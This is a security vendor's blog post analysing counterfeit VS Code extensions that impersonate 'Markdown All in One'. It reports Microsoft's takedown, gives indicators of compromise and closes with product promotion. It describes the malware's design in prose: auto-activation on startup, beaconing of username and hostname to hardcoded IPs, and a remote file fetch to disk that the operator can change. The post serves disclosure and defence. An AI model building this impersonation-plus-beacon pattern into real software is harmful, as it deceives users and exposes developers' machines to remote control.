TL;DR
What we found: Newly published VS Code Marketplace extensions, markdown.markdown-all-pro ("Markdown All Pro") and MarkdownLinks.markdown-links-pro, are counterfeits of the widely installed Markdown All in One. On install these beacon the machine's username and hostname to a hardcoded IP over cleartext HTTP and fetch a remote file to disk, with no user interaction required.
Why it matters: Extensions run inside the editor with the developer's privileges, in a spot that code review, CI, and dependency scanning never look. This one is small but it deliberately misrepresents itself as a trusted tool, and the remote fetch it performs is a live delivery channel whose payload the operator can change at any time. That combination is why we brought it to Microsoft's attention.
The finding surfaced from the detection tooling we have been building and refining to catch problematic agentic assets.
What it is
The version of markdown.markdown-all-pro (v0.0.21; publisher "Markdown," display name "Markdown All Pro," description "Markdown Pro Version") was published on July 20, 2026 and had four installs when we pulled it. The name, display name, and description are positioned to sit next to the genuine yzhang.markdown-all-in-one, which has more than 14 million installs.
That's the point, to borrow the reputation of the thing you are pretending to be.
Above: the counterfeit Markdown All Pro VS Code extension we found.
The package is tiny. It bundles no runtime dependencies (the manifest file, package.json lists only the default devDependencies and overrides from the extension scaffold, which are not shipped), no build output, and no obfuscation. The payload is about 104 lines in extension.js, which makes it a clean example to walk through.
What it does
The extension activates on onStartupFinished, so there is no command to run and no user interaction required. Installing it is enough.
On activation it reads the local username and hostname and sends them to a hardcoded IP over cleartext HTTP:
This is low-value host recon rather than credential theft: no tokens, environment variables, keys, or files are read, at least not in the current version, 0.0.21. It re-sends on document change, file creation, and file open, and the requests carry a spoofed Windows browser “User-Agent”.
Above: the ‘activate()’ function within the extension.js file
There is a second primitive. A saved() function fetches http://143.198.81.40/a.txt and writes the response to ~/Downloads/a.txt. It fires on the same triggers as the beacon: on activation, and on every document change, file creation, and file open. The content we observed was harmless, and we found no code in 0.0.21 that executes or loads the downloaded file. It lands in ~/Downloads, not an auto-run location. But this is a remote-content-to-disk delivery channel: the operator controls that server and can change what it serves at any time, with no update to the extension. What we captured is one snapshot of a benign drop, not a guarantee it stays benign.
Above: the query() and saved() functions
Why is this bad?
The exfiltration code is minimal, the code is unobfuscated, and the IP is currently unreachable. Those signals are consistent with a test or a proof-of-concept. They are equally consistent with an operator seeding a deliberately benign first drop while testing the channel, holding a real payload back until the extension has enough installs and reach. We cannot tell the two apart from the outside, and the extension behaves the same either way.
We do not think that changes the conclusion. Legitimate research proofs-of-concept conventionally identify themselves: they carry a disclaimer (e.g. "for research purposes") or a publicly-trackable author profile, which does not necessarily guarantee benignness but provides some context or reassurance. This one does none of that.
Instead, like counterfeit components, it actively misrepresents itself as "Markdown All in One," a tool it has nothing to do with, and pairs that deception with live exfiltration to third-party infrastructure. Deceiving users into installing it and quietly sending their host details off-box is the line, and it is crossed regardless of the author's intent, which is why we reported it to Microsoft rather than sitting on it.
It is also worth being precise about what could change. VS Code Marketplace versions are effectively immutable (per Microsoft's docs, "Once deleted, you can't reuse this version number for a new publish"), so the code in the version that is live now cannot be silently swapped; altering it means publishing a new version. But the extension does not need to change to behave differently, because it pulls its payload from the operator's server at runtime. The channel is already open; only the content on the other end has to change.
If you want to see what is actually running in your environment, book a demo.
Indicators of compromise (IOCs)
Second, near-identical sample:
If you installed either, remove it, delete ~/Downloads/a.txt or ~/Downloads/update.txt, and treat the machine's username and hostname as disclosed.
Disclosure
We proactively reported markdown.markdown-all-pro to Microsoft on July 20, 2026 and preserved the VSIX for analysis. Microsoft took down the extension within an hour of us reaching out, a truly impressive turnaround.
The VS Code Marketplace support team confirmed the removal:
"Thank you for contacting Visual Studio Marketplace Support and reporting on the extensions below, We have taken down this extensions [sic] from the Marketplace. We appreciate your help in keeping VS Marketplace safe for everyone."
That was not the last of it. After the takedown, the same pattern surfaced again under a new identity, MarkdownLinks.markdown-links-pro, a near-identical counterfeit built from the same skeleton but pointing at a second DigitalOcean host (168.144.243.125, a US region this time, rather than the first server's Singapore). Microsoft removed it too. Take one down and another appears: that is the shape of someone working a channel, not a single test published by accident.
How Manifold helps
Deceptive extensions like this one sit in a blind spot. They are not in your source, your CI, or your dependency manifest. They load directly into the runtime environment with the privileges of whatever they run inside, and, as this case shows, what they do can change after they are installed. That last part is the crux: because the payload is pulled from the operator's server at runtime, a clean result at publish time says nothing about what the extension does an hour later. Scanning the artifact once is not enough. What it does when it runs is what counts.
That is where Manifold operates. We are a runtime security company and care about how code and agents actually behave when they execute, not just what they looked like when they were published. This finding surfaced from detection tooling we have been building to study the extension ecosystem, but the durable defense against a channel that can flip server-side is at runtime, where malicious behavior shows up regardless of how benign the package looked going in.
If you want to see what is actually running in your environment, book a demo.
Latest articles
